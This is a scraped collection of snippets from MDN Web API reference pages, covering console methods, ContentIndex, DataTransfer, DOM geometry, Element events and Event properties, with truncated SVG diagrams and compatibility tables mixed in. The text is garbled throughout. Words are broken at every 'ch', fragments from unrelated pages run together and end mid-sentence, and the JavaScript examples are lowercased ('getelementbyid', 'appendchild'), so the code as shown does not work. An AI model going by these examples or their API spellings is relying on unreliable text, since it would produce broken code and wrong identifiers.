chor="middle" alignment-baseline="middle">event</text></a><polyline points="76,25 86,20 86,30 76,25" stroke="#d4dde4" fill="none"/><line x1="86" y1="25" x2="116" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/uievent" target="_top"><rect x="116" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="153.5" y="30" font-size="12px" font-family="consolas,mon...
...aco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">uievent</text></a><polyline points="191,25 201,20 201,30 191,25" stroke="#d4dde4" fill="none"/><line x1="201" y1="25" x2="231" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/compositionevent" target="_top"><rect x="231" y="1" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="311" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">compositionevent</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constructor compositionevent() creates a new compositionevent object instance.
... compositionevent.data read only returns the
characters generated by the input method that raised the event; its varies depending on the type of event that generated the compositionevent object.
console.debug() - Web APIs
the string representations of ea
ch of these objects are appended together in the order listed and output to the console.
... msg a javascript string containing zero or more substitution strings, whi
ch are replaced with subst1 through substn in consecutive order.
...substn javascript objects with whi
ch to replace substitution strings within msg.
Console.table() - Web APIs
this function takes one mandatory argument data, whi
ch must be an array or an object, and one additional optional parameter columns.
...ea
ch element in the array (or enumerable property if data is an object) will be a row in the table.
... // an object whose properties are objects var family = {}; family.mother = new person("jane", "smith"); family.father = new person("john", "smith"); family.daughter = new person("emily", "smith"); console.table(family); restricting the columns displayed by default, console.table() lists all elements in ea
ch row.
Console.warn() - Web APIs
note: this feature is available in web workers.note: in
chrome and firefox, warnings have a small exclamation point icon next to them in the web console log.
...the string representations of ea
ch of these objects are appended together in the order listed and output.
...substn javascript objects with whi
ch to replace substitution strings within msg.
Console API - Web APIs
the console api provides functionality to allow developers to perform debugging tasks, su
ch as logging messages or the values of variables at set points in your code, or timing how long an operation takes to complete.
...find out about these at: google
chrome devtools implementation safari devtools implementation usage is very simple — the console object — available via window.console, or workerglobalscope.console in workers; accessible using just console — contains many methods that you can call to perform rudimentary debugging tasks, generally focused around logging various values to the browser's web console.
... by far the most commonly-used method is console.log, whi
ch is used to log the current value contained inside a specific variable.
ContentIndex.add() - Web APIs
return value returns a promise that resolves with undefined exceptions typeerror if the service worker's registration is not present or the service worker does not contain a fet
chevent.
... examples here we're declaring an item in the correct format and creating an asyn
chronous function whi
ch uses the add method to register it with the content index.
... // our content const item = { id: 'post-1', url: '/posts/amet.html', title: 'amet consectetur adipisicing', description: 'repellat et quia iste possimus ducimus aliquid a aut eaque nostrum.', icons: [{ src: '/media/dark.png', sizes: '128x128', type: 'image/png', }], category: 'article' }; // our asyn
chronous function to add indexed content async function registercontent(data) { const registration = await navigator.serviceworker.ready; // feature detect content index if (!registration.index) { return; } // register content try { await registration.index.add(data); } cat
ch (e) { console.log('failed to register content: ', e.message); } } the add method can also be used within the service worker scope.
ContentIndex.delete() - Web APIs
it does not delete anything from the ca
che.
... examples below is an asyn
chronous function, that removes an item from the content index.
... we receive a reference to the current serviceworkerregistration, whi
ch allows us to access the index property and thus access the delete method.
ContentIndex.getAll() - Web APIs
contentdescription ea
ch item returned is an object containing the following data: id: a unique string identifier.
... examples the below example shows an asyn
chronous function that retrieves items within the content index and iterates over ea
ch entry, building a list for the interface.
...ssage = document.createelement('p'); message.innertext = 'you currently have no articles saved for offline reading.' readinglistelem.append(message); } else { // if entries are present, display in a list of links to the content const listelem = document.createelement('ul'); for (const entry of entries) { const listitem = document.createelement('li'); const an
chorelem = document.createelement('a'); an
chorelem.innertext = entry.title; an
chorelem.setattribute('href', entry.url); listelem.append(listitem); } readinglistelem.append(listelem); } } specifications specification status comment unknownthe definition of 'getall' in that specification.
CustomElementRegistry.whenDefined() - Web APIs
<menu-item>item n</menu-item> </nav-menu> </nav> const container = document.getelementbyid('menu-container'); const placeholder = container.queryselector('.menu-placeholder'); // fet
ch all the
children of menu that are not yet defined.
... const undefinedelements = container.queryselectorall(':not(:defined)'); const promises = [...undefinedelements].map( button => customelements.whendefined(button.localname) ); // wait for all the
children to be upgraded, // then remove the placeholder.
... await promise.all(promises); container.remove
child(placeholder); specifications specification status comment html living standardthe definition of 'customelements.whendefined()' in that specification.
CustomEvent.initCustomEvent() - Web APIs
if the event has already been dispat
ched, this method does nothing.
...this method must be called to set the event before it is dispat
ched, using eventtarget.dispat
chevent().
... once dispat
ched, it doesn't do anything anymore.
DOMException() - Web APIs
if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetdomexception() constructor
chrome full support yesedge full support 79firefox ?
... webview android full support yes
chrome android full support yesfirefox android ?
DOMException.message - Web APIs
if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetmessage
chrome full support yesedge full support 12firefox full support 1ie ?
... opera full support yessafari full support yeswebview android full support yes
chrome android full support yesfirefox android full support 4opera android full support yessafari ios full support yessamsung internet android full support yeslegend full support full support compatibility unknown ...
DOMImplementation.createDocumentType() - Web APIs
the domimplementation.createdocumenttype() method returns a documenttype object whi
ch can either be used with domimplementation.createdocument upon document creation or can be put into the document via methods like node.insertbefore() or node.replace
child().
... living standard no
change from document object model (dom) level 3 core specification document object model (dom) level 3 core specificationthe definition of 'domimplementation.createdocumenttype' in that specification.
... obsolete no
change from document object model (dom) level 2 core specification document object model (dom) level 2 core specificationthe definition of 'domimplementation.createdocumenttype' in that specification.
DOMPoint - Web APIs
dompoint is based on dompointreadonly but allows its properties' values to be
changed.
... static methods dompoint.frompoint() creates a new mutable dompoint object given an existing point (or a dompointinit dictionary) whi
ch provides the values for its properties.
...in the following snippet, the pose of the xr device (su
ch as a vr headset or phone with ar capabilities) can be retrieved by calling using xrframe.getviewerpose() during an xrsession animation frame, then accessing the resulting xrpose's transform property, whi
ch contains two dompointreadonly attributes: position as a vector and orientation as a quaternion.
DOMPointReadOnly.fromPoint() - Web APIs
the source point is specified as a dompointinit-compatible object, whi
ch includes both dompoint and dompointreadonly.
... syntax const point = dompointreadonly.frompoint(sourcepoint) properties sourcepoint a dompointinit-compliant object, whi
ch includes both dompoint and dompointreadonly, from whi
ch to take the values of the new point's properties.
... return value a new dompointreadonly object (whi
ch is identical to the source point).
DOMRect - Web APIs
for example, vreyeparameters.renderrect from the defunct webvr api specified the viewport of a canvas into whi
ch visuals for one eye of a head mounted display should be rendered.
...n;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/domrectreadonly" target="_top"><rect x="1" y="1" width="150" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="76" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">domrectreadonly</text></a><polyline points="151,25 161,20 161,30 151,25" stroke="#d4dde4" fill="none"/><line x1="161" y1="25" x2="191" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/domrect" target="_top"><rect x="191" y="1" width="75" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="228.5" y="30" font-size="12px" font-fa...
...mily="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">domrect</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constructor domrect() creates a new domrect object.
DOMTokenList - Web APIs
su
ch a set is returned by element.classlist, htmllinkelement.rellist, htmlan
chorelement.rellist, htmlareaelement.rellist, htmliframeelement.sandbox, or htmloutputelement.htmlfor.
... domtokenlist.forea
ch(callback [, thisarg]) executes a provided callback function once per domtokenlist element.
... first, the html: <p class="a b c"></p> now the javascript: let para = document.queryselector("p"); let classes = para.classlist; para.classlist.add("d"); para.textcontent = `paragraph classlist is "${classes}"`; the output looks like this: trimming of whitespace and removal of duplicates methods that modify the domtokenlist (su
ch as domtokenlist.add()) automatically trim any excess whitespace and remove duplicate values from the list.
DataTransfer.mozSetDataAt() - Web APIs
a data transfer may store multiple items, ea
ch at a given zero-based index.
... mozsetdataat() may only be called with an index argument less than mozitemcount in whi
ch case an existing item is modified, or equal to mozitemcount in whi
ch case a new item is added, and the mozitemcount is incremented by one.
... the data should be either a string, a boolean or number type (whi
ch will be converted into a string) or an nsisupports.
DataTransfer.mozTypesAt() - Web APIs
syntax nsivariant datatransfer.moztypesat(index); arguments index a unsigned long that is the index of the data for whi
ch to retrieve the types.
... return value nsivariant a list of data formats (whi
ch are strings).
...transfer; var count = dt.mozitemcount; output("items: " + count + "\n"); for (var i = 0; i < count; i++) { output(" item " + i + ":\n"); var types = dt.moztypesat(i); for (var t = 0; t < types.length; t++) { output(" " + types[t] + ": "); try { var data = dt.mozgetdataat(types[t], i); output("(" + (typeof data) + ") : <" + data + " >\n"); } cat
ch (ex) { output("<>\n"); dump(ex); } } } } specifications this method is not defined in any web standard.
DataTransfer.setDragImage() - Web APIs
if element is an img element, then set the drag data store bitmap to the element's image (at its intrinsic size); otherwise, set the drag data store bitmap to an image generated from the given element (the exact me
chanism for doing so is not currently specified).
...use the event target's id for the data ev.datatransfer.setdata("text/plain", ev.target.id); // create an image and use it for the drag image // note:
change "example.gif" to an existing image or the image will not // be created and the default drag image will be used.
... var img = new image(); img.src = 'example.gif'; ev.datatransfer.setdragimage(img, 10, 10); } function dragover_handler(ev) { console.log("dragover"); ev.preventdefault(); } function drop_handler(ev) { console.log("drop"); ev.preventdefault(); // get the data, whi
ch is the id of the drop target var data = ev.datatransfer.getdata("text"); ev.target.append
child(document.getelementbyid(data)); } </script> <body> <h1>example of <code>datatransfer.setdragimage()</code></h1> <div> <p id="source" ondragstart="dragstart_handler(event);" draggable="true"> select this element, drag it to the drop zone and then release the selection to move the element.</p> </div> <div id="target" ondrop="drop_handler(event);" ondragover="dragover_handler(event);">drop zone</div> </body> </html> ...
DataTransferItem.getAsFile() - Web APIs
function drop_handler(ev) { console.log("drop"); ev.preventdefault(); var data = event.datatransfer.items; for (var i = 0; i < data.length; i += 1) { if ((data[i].kind == 'string') && (data[i].type.mat
ch('^text/plain'))) { // this item is the target node data[i].getasstring(function (s){ ev.target.append
child(document.getelementbyid(s)); }); } else if ((data[i].kind == 'string') && (data[i].type.mat
ch('^text/html'))) { // drag data item is html console.log("...
... drop: html"); } else if ((data[i].kind == 'string') && (data[i].type.mat
ch('^text/uri-list'))) { // drag data item is uri console.log("...
... drop: uri"); } else if ((data[i].kind == 'file') && (data[i].type.mat
ch('^image/'))) { // drag data item is an image file var f = data[i].getasfile(); console.log("...
DataTransferItem.type - Web APIs
function drop_handler(ev) { console.log("drop"); ev.preventdefault(); var data = ev.datatransfer.items; for (var i = 0; i < data.length; i += 1) { if ((data[i].kind == 'string') && (data[i].type.mat
ch('^text/plain'))) { // this item is the target node data[i].getasstring(function (s){ ev.target.append
child(document.getelementbyid(s)); }); } else if ((data[i].kind == 'string') && (data[i].type.mat
ch('^text/html'))) { // drag data item is html console.log("...
... drop: html"); } else if ((data[i].kind == 'string') && (data[i].type.mat
ch('^text/uri-list'))) { // drag data item is uri console.log("...
... drop: uri"); } else if ((data[i].kind == 'file') && (data[i].type.mat
ch('^image/'))) { // drag data item is an image file var f = data[i].getasfile(); console.log("...
DataTransferItem - Web APIs
during a drag operation, ea
ch drag event has a datatransfer property whi
ch contains a list of drag data items.
... ea
ch item in the list is a datatransferitem object.
... example all of this interface's methods and properties have their own reference page, and ea
ch reference page has an example of its usage.
DataTransferItemList.DataTransferItem() - Web APIs
javascript function dragstart_handler(ev) { console.log("dragstart"); // add this element's id to the drag payload so the drop handler will // know whi
ch element to add to its tree var datalist = ev.datatransfer.items; datalist.add(ev.target.id, "text/plain"); // add some other items to the drag payload datalist.add("<p>...
... paragraph ...</p>", "text/html"); datalist.add("http://www.example.org","text/uri-list"); } function drop_handler(ev) { console.log("drop"); ev.preventdefault(); var data = ev.datatransfer.items; // loop through the dropped items and log their data for (var i = 0; i < data.length; i++) { if ((data[i].kind == 'string') && (data[i].type.mat
ch('^text/plain'))) { // this item is the target node data[i].getasstring(function (s){ ev.target.append
child(document.getelementbyid(s)); }); } else if ((data[i].kind == 'string') && (data[i].type.mat
ch('^text/html'))) { // drag data item is html data[i].getasstring(function (s){ console.log("...
... drop: html = " + s); }); } else if ((data[i].kind == 'string') && (data[i].type.mat
ch('^text/uri-list'))) { // drag data item is uri data[i].getasstring(function (s){ console.log("...
DataTransferItemList.add() - Web APIs
> <div id="target" ondrop="drop_handler(event);" ondragover="dragover_handler(event);">drop zone</div> css div { margin: 0em; padding: 2em; } #source { color: blue; border: 1px solid black; } #target { border: 1px solid black; } javascript function dragstart_handler(ev) { console.log("dragstart"); // add this element's id to the drag payload so the drop handler will // know whi
ch element to add to its tree var datalist = ev.datatransfer.items; datalist.add(ev.target.id, "text/plain"); // add some other items to the drag payload datalist.add("<p>...
... paragraph ...</p>", "text/html"); datalist.add("http://www.example.org","text/uri-list"); } function drop_handler(ev) { console.log("drop"); ev.preventdefault(); var data = event.datatransfer.items; // loop through the dropped items and log their data for (var i = 0; i < data.length; i++) { if ((data[i].kind == 'string') && (data[i].type.mat
ch('^text/plain'))) { // this item is the target node data[i].getasstring(function (s){ ev.target.append
child(document.getelementbyid(s)); }); } else if ((data[i].kind == 'string') && (data[i].type.mat
ch('^text/html'))) { // drag data item is html data[i].getasstring(function (s){ console.log("...
... drop: html = " + s); }); } else if ((data[i].kind == 'string') && (data[i].type.mat
ch('^text/uri-list'))) { // drag data item is uri data[i].getasstring(function (s){ console.log("...
DataTransferItemList.length - Web APIs
javascript function dragstart_handler(ev) { console.log("dragstart"); // add this element's id to the drag payload so the drop handler will // know whi
ch element to add to its tree var datalist = ev.datatransfer.items; datalist.add(ev.target.id, "text/plain"); // add some other items to the drag payload datalist.add("<p>...
... paragraph ...</p>", "text/html"); datalist.add("http://www.example.org","text/uri-list"); } function drop_handler(ev) { console.log("drop"); ev.preventdefault(); var data = ev.datatransfer.items; // loop through the dropped items and log their data for (var i = 0; i < data.length; i++) { if ((data[i].kind == 'string') && (data[i].type.mat
ch('^text/plain'))) { // this item is the target node data[i].getasstring(function (s){ ev.target.append
child(document.getelementbyid(s)); }); } else if ((data[i].kind == 'string') && (data[i].type.mat
ch('^text/html'))) { // drag data item is html data[i].getasstring(function (s){ console.log("...
... drop: html = " + s); }); } else if ((data[i].kind == 'string') && (data[i].type.mat
ch('^text/uri-list'))) { // drag data item is uri data[i].getasstring(function (s){ console.log("...
DelayNode() - Web APIs
if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetdelaynode() constructor
chrome full support 55notes full support 55notes notes before version 59, the default values were not supported.edge full support ≤79firefox full support 53ie no support noopera full support 42safari ?
... webview android full support 55notes full support 55notes notes before version 59, the default values were not supported.
chrome android full support 55notes full support 55notes notes before version 59, the default values were not supported.firefox android full support 53opera android full support 42safari ios ?
DeviceMotionEvent.accelerationIncludingGravity - Web APIs
unlike devicemotionevent.acceleration whi
ch compensates for the influence of gravity, its value is the sum of the acceleration of the device as induced by the user and the acceleration caused by gravity.
... this value is not typically as useful as devicemotionevent.acceleration, but may be the only value available on devices that aren't able of removing gravity from the acceleration data, su
ch as on devices that don't have a gyroscope.
...ea
ch axis is represented with its own property: x represents the acceleration upon the x axis whi
ch is the west to east axis y represents the acceleration upon the y axis whi
ch is the south to north axis z represents the acceleration upon the z axis whi
ch is the down to up axis specifications specification status comment deviceorientation event specification editor's draft initial definition.
DisplayMediaStreamConstraints.audio - Web APIs
more precise control over the audio data may be exercised by instead providing a mediatrackconstraints object, whi
ch is used to process the audio prior to adding it to the stream.
...likely sources are the computer's system audio output and the user's microphone, but there is no way to specify whi
ch source to use.
... if a mediatrackconstraints object is given, and an audio source is available, an audio track mat
ching the settings given in the constraints object is included in the mediastream returned by getdisplaymedia().
Document.createElement() - Web APIs
in firefox, opera, and
chrome, createelement(null) works like createelement("null").
...v id="div1">the text above has been created dynamically.</div> </body> </html> javascript document.body.onload = addelement; function addelement () { // create a new div element const newdiv = document.createelement("div"); // and give it some content const newcontent = document.createtextnode("hi there and greetings!"); // add the text node to the newly created div newdiv.append
child(newcontent); // add the newly created element and its content into the dom const currentdiv = document.getelementbyid("div1"); document.body.insertbefore(newdiv, currentdiv); } web component example the following example snippet is taken from our expanding-list-web-component example (see it live also).
... in this case, our custom element extends the htmlulistelement, whi
ch represents the <ul> element.
Element: click event - Web APIs
an element receives a click event when a pointing device button (su
ch as a mouse's primary mouse button) is both pressed and released while the pointer is located inside the element.
...<div>) and whi
ch also don't have event listeners directly atta
ched to the elements themselves (i.e.
... safari mobile considers the following elements to be typically interactive (and thus they aren't affected by this bug): <a> (but it must have an href) <area> (but it must have an href) <button> <img> <input> <label> (but it must be associated with a form control) <textarea> this list is incomplete; you can help mdn by doing further testing/resear
ch and expanding it.
Element: compositionend event - Web APIs
the compositionend event is fired when a text composition system su
ch as an input method editor completes or cancels the current composition session.
... for example, this event could be fired after a user finishes entering a
chinese
character using a pinyin ime.
... bubbles yes cancelable yes interface compositionevent event handler property none examples const inputelement = document.queryselector('input[type="text"]'); inputelement.addeventlistener('compositionend', (event) => { console.log(`generated
characters were: ${event.data}`); }); live example html <div class="control"> <label for="name">on macos, click in the textbox below,<br> then type <kbd>option</kbd> + <kbd>`</kbd>, then <kbd>a</kbd>:</label> <input type="text" id="example" name="example"> </div> <div class="event-log"> <label>event log:</label> <textarea readonly class="event-log-contents" rows="8" cols="25"></textarea> <button class="clear-log">clear</button> </div> css body { padding: .2rem; display: gri...
Element: compositionstart event - Web APIs
the compositionstart event is fired when a text composition system su
ch as an input method editor starts a new composition session.
... for example, this event could be fired after a user starts entering a
chinese
character using a pinyin ime.
... bubbles yes cancelable yes interface compositionevent event handler property none examples const inputelement = document.queryselector('input[type="text"]'); inputelement.addeventlistener('compositionstart', (event) => { console.log(`generated
characters were: ${event.data}`); }); live example html <div class="control"> <label for="name">on macos, click in the textbox below,<br> then type <kbd>option</kbd> + <kbd>`</kbd>, then <kbd>a</kbd>:</label> <input type="text" id="example" name="example"> </div> <div class="event-log"> <label>event log:</label> <textarea readonly class="event-log-contents" rows="8" cols="25"></textarea> <button class="clear-log">clear</button> </div> css body { padding: .2rem; display: g...
Element: compositionupdate event - Web APIs
the compositionupdate event is fired when a new
character is received in the context of a text composition session controlled by a text composition system su
ch as an input method editor.
... for example, this event could be fired while a user enters a
chinese
character using a pinyin ime.
... bubbles yes cancelable yes interface compositionevent event handler property none examples const inputelement = document.queryselector('input[type="text"]'); inputelement.addeventlistener('compositionupdate', (event) => { console.log(`generated
characters were: ${event.data}`); }); live example html <div class="control"> <label for="name">on macos, click in the textbox below,<br> then type <kbd>option</kbd> + <kbd>`</kbd>, then <kbd>a</kbd>:</label> <input type="text" id="example" name="example"> </div> <div class="event-log"> <label>event log:</label> <textarea readonly class="event-log-contents" rows="8" cols="25"></textarea> <button class="clear-log">clear</button> </div> css body { padding: .2rem; display: ...
Element.computedStyleMap() - Web APIs
the computedstylemap() method of the element interface returns a stylepropertymapreadonly interface whi
ch provides a read-only representation of a css declaration block that is an alternative to cssstyledeclaration.
... examples we start with some simple html: a paragraph with a link, and a definition list to whi
ch we will add all the css property / value pairs.
... // get the element const myelement = document.queryselector('a'); // get the <dl> we'll be populating const styleslist = document.queryselector('#regurgitation'); // retrieve all computed styles with computedstylemap() const allcomputedstyles = myelement.computedstylemap(); // iterate thru the map of all the properties and values, adding a <dt> and <dd> for ea
ch for (const [prop, val] of allcomputedstyles) { // properties const cssproperty = document.createelement('dt'); cssproperty.append
child(document.createtextnode(prop)); styleslist.append
child(cssproperty); // values const cssvalue = document.createelement('dd'); cssvalue.append
child(document.createtextnode(val)); styleslist.append
child(cssvalue); } in browsers that support computedstylema...
Element.createShadowRoot() - Web APIs
when shadow dom is created, it is always atta
ched to an existing element.
... after the shadow dom is created, the element that it is atta
ched to is called the shadow root.
... this method has been deprecated in favor of atta
chshadow().
Element.currentStyle - Web APIs
element.currentstyle is a proprietary property whi
ch is similar to the standardized window.getcomputedstyle() method.
...if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetcurrentstyle non-standard
chrome no support noedge no support nofirefox no support noie full support 6opera no support nosafari no support nowebview android no support no
chrome android no support nofirefox android no support noopera android...
Element.hasPointerCapture() - Web APIs
the haspointercapture() method of the element interface sets whether the element on whi
ch it is invoked has pointer capture for the pointer identified by the given pointer id.
...*/ //
check whether element still has pointer capture let pointercap = el.haspointercapture(ev.pointerid); if(pointercap) { // we've still got pointer capture } else { // oops, we've lost pointer capture!
... } } function init() { const el = document.getelementbyid("target"); el.onpointerdown = downhandler; } </script> <body onload="init();"> <div id="target">tou
ch this element with a pointer.</div> </body> </html> specifications specification status comment pointer events – level 2the definition of 'haspointercapture()' in that specification.
Element.insertAdjacentElement() - Web APIs
syntax targetelement.insertadjacentelement(position, element); parameters position a domstring representing the position relative to the targetelement; must mat
ch (case-insensitively) one of the following strings: 'beforebegin': before the targetelement itself.
... 'afterbegin': just inside the targetelement, before its first
child.
... 'beforeend': just inside the targetelement, after its last
child.
Element.insertAdjacentHTML() - Web APIs
this avoids the extra step of serialization, making it mu
ch faster than direct innerhtml manipulation.
... 'afterbegin': just inside the element, before its first
child.
... 'beforeend': just inside the element, after its last
child.
Element: mouseout event - Web APIs
the mouseout event is fired at an element when a pointing device (usually a mouse) is used to move the cursor so that it is no longer contained within the element or one of its
children.
... mouseout is also delivered to an element if the cursor enters a
child element, because the
child element obscures the visible area of the element.
... when you try this out, you'll find that mouseout is delivered to the individual list items, while mouseleave goes to the overall list, courtesy of the hierar
chy of the items and the fact that list items obscure the underlying <ul>.
Element.onfullscreenerror - Web APIs
the element interface's onfullscreenerror property is an event handler for the fullscreenerror event whi
ch is sent to the element when an error occurs while attempting to transition into or out of full-screen mode.
... example this example attempts to swit
ch into full-screen mode from outside a handler for a user-initiated event (su
ch as a click or keypress event).
... since full-screen mode
changes are only permitted in response to a user input, this causes an error to occur, whi
ch triggers the delivery of the fullscreenerror event to the error handler, let elem = document.queryselector("video")}} elem.onfullscreenerror = function ( event ) { displaywarning("unable to swit
ch into full-screen mode."); }; //....
Element.scroll() - Web APIs
if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetscroll
chrome full support 45edge full support 79firefox full support 36ie no support noopera full support 32safari full support 10webview android full support 45
chrome android full support 45firefox android full support 36opera android ...
... full support 32safari ios no support nosamsung internet android full support 5.0scrolltooptions parameter
chrome full support 45edge full support 79firefox full support yesie no support noopera full support 32safari no support nowebview android full support 45
chrome android full support 45firefox android ...
Element.scrollTo() - Web APIs
if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetscrollto
chrome full support 45edge full support 79firefox full support 36ie no support noopera full support 32safari full support 10webview android full support 45
chrome android full support 45firefox android full support 36opera android ...
... full support 32safari ios no support nosamsung internet android full support 5.0scrolltooptions parameter
chrome full support 45edge full support 79firefox full support yesie no support noopera full support 32safari no support nowebview android full support 45
chrome android full support 45firefox android ...
Element.scrollWidth - Web APIs
it can also include the width of pseudo-elements su
ch as ::before or ::after.
...tle> <style> div { overflow: hidden; white-space: nowrap; text-overflow: ellipsis; } #adiv { width: 100px; } button { margin-bottom: 2em; } </style> </head> <body> <div id="adiv"> foobar-foobar-foobar-foobar </div> <button id="abutton">
check for overflow </button> <div id="anotherdiv"> foobar-foobar-foobar-foobar </div> <button id="anotherbutton">
check for overflow </button> </body> <script> var buttonone = document.getelementbyid('abutton'), buttontwo = document.getelementbyid('anotherbutton'), divone = document.getelementbyid('adiv'), divtwo = document.getelementbyid('ano...
...therdiv'); //
check to determine if an overflow is happening function isoverflowing(element) { return (element.scrollwidth > element.offsetwidth); } function alertoverflow(element) { if (isoverflowing(element)) { alert('contents are overflowing the container.'); } else { alert('no overflows!'); } } buttonone.addeventlistener('click', function() { alertoverflow(divone); }); buttontwo.addeventlistener('click', function() { alertoverflow(divtwo); }); </script> </html> result specification specification status comment css object model (cssom) view modulethe definition of 'element.scrollwidth' in that specification.
Element.tagName - Web APIs
the tagname read-only property of the element interface returns the tag name of the element on whi
ch it's called.
...this string's capitalization depends on the document type: for dom trees whi
ch represent html documents, the returned tag name is always in the canonical upper-case form.
... the tag names of elements in an xml dom tree are returned in the same case in whi
ch they're written in the original xml file.
Element: webkitmouseforcewillbegin event - Web APIs
this offers the opportunity to tell the system not to trigger any default force tou
ch actions if and when the click turns into a force tou
ch event.
... to instruct macos not to engage any default force tou
ch actions if the user apply enough pressure to activate a force tou
ch event, call preventdefault() on the webkitmouseforcewillbegin event object.
...it is part of the force tou
ch events feature.
ElementTraversal - Web APIs
it has been split into two interfaces, containing the useful methods and properties for ea
ch kind of nodes:
childnode parentnode as it was a pure interface, with no object of this type, this
change has no effect on the web.
... specifications specification status comment domthe definition of '
childnode' in that specification.
... living standard splitted the elementtraversal interface in parentnode and
childnode element traversal specificationthe definition of 'elementtraversal' in that specification.
Event.bubbles - Web APIs
syntax var doesitbubble = event.bubbles; value a boolean, whi
ch is true if the event bubbles up through the dom.
... example function handleinput(e) { //
checks whether the event bubbles and ...
...you can use this property to
check if an event is allowed to bubble or not.
Event.currentTarget - Web APIs
it always refers to the element to whi
ch the event handler has been atta
ched, as opposed to event.target, whi
ch identifies the element on whi
ch the event occurred and whi
ch may be its descendant.
... syntax var currenteventtarget = event.currenttarget; value eventtarget examples event.currenttarget is interesting to use when atta
ching the same event handler to several elements.
...instead, you can either directly console.log(event.currenttarget) to be able to view it in the console or use the debugger statement, whi
ch will pause the execution of your code thus showing you the value of event.currenttarget.
Event.msConvertURL() - Web APIs
there may also be large incompatibilities between implementations and the behavior may
change in the future.
... the msconverturl method instructs the html paste operation on how to modify the src attribute that corresponds to ea
ch file in the clipboarddata.files collection, allowing otherwise inaccessible files to be converted to blob or data uris.
... targettype [in] type: domstring one of the following values indicating the desired conversion type: "specified", "base64", or "un
changed".
Event.timeStamp - Web APIs
the timestamp read-only property of the event interface returns the time (in milliseconds) at whi
ch the event was created.
...</p> <p>timestamp: <span id="time">-</span></p> javascript function gettime(event) { var time = document.getelementbyid("time"); time.first
child.nodevalue = event.timestamp; } document.body.addeventlistener("keypress", gettime); result reduced time precision to offer protection against timing attacks and fingerprinting, the precision of event.timestamp might get rounded depending on browser settings.
... in firefox, if you also enable privacy.resistfingerprinting, the precision will be 100ms or the value of privacy.resistfingerprinting.reducetimerprecision.microseconds, whi
chever is larger.
ExtendableMessageEvent.ports - Web APIs
the ports read-only property of the extendablemessageevent interface returns the array containing the messageport objects representing the ports of the associated message
channel (the
channel the message is being sent through.) syntax var myports = extendablemessageevent.ports; value an array of messageport objects.
... examples when the following code is used inside a service worker to respond to a push messages by sending the data received via pushmessagedata to the main context via a
channel message, the event object of onmessage will be a extendablemessageevent.
... var port; self.addeventlistener('push', function(e) { var obj = e.data.json(); if(obj.action === 'subscribe' || obj.action === 'unsubscribe') { port.postmessage(obj); } else if(obj.action === 'init' || obj.action === '
chatmsg') { port.postmessage(obj); } }); self.onmessage = function(e) { port = e.ports[0]; } specifications specification status comment service workersthe definition of 'extendablemessageevent.ports' in that specification.
ExtendableMessageEvent.source - Web APIs
the source read-only property of the extendablemessageevent interface returns a reference to the client object from whi
ch the message was sent.
... examples when the following code is used inside a service worker to respond to a push messages by sending the data received via pushmessagedata to the main context via a
channel message, the event object of onmessage will be a extendablemessageevent.
... var port; self.addeventlistener('push', function(e) { var obj = e.data.json(); if(obj.action === 'subscribe' || obj.action === 'unsubscribe') { port.postmessage(obj); } else if(obj.action === 'init' || obj.action === '
chatmsg') { port.postmessage(obj); } }); self.onmessage = function(e) { console.log(e.source); port = e.ports[0]; } specifications specification status comment service workersthe definition of 'extendablemessageevent.source' in that specification.
File - Web APIs
low: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/blob" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">blob</text></a><polyline points="76,25 86,20 86,30 76,25" stroke="#d4dde4" fill="none"/><line x1="86" y1="25" x2="116" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/file" target="_top"><rect x="116" y="1" width="75" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="153.5" y="30" font-size="12px" font-family="consolas,mona...
...co,andale mono,monospace" fill="#4d4e53" text-an
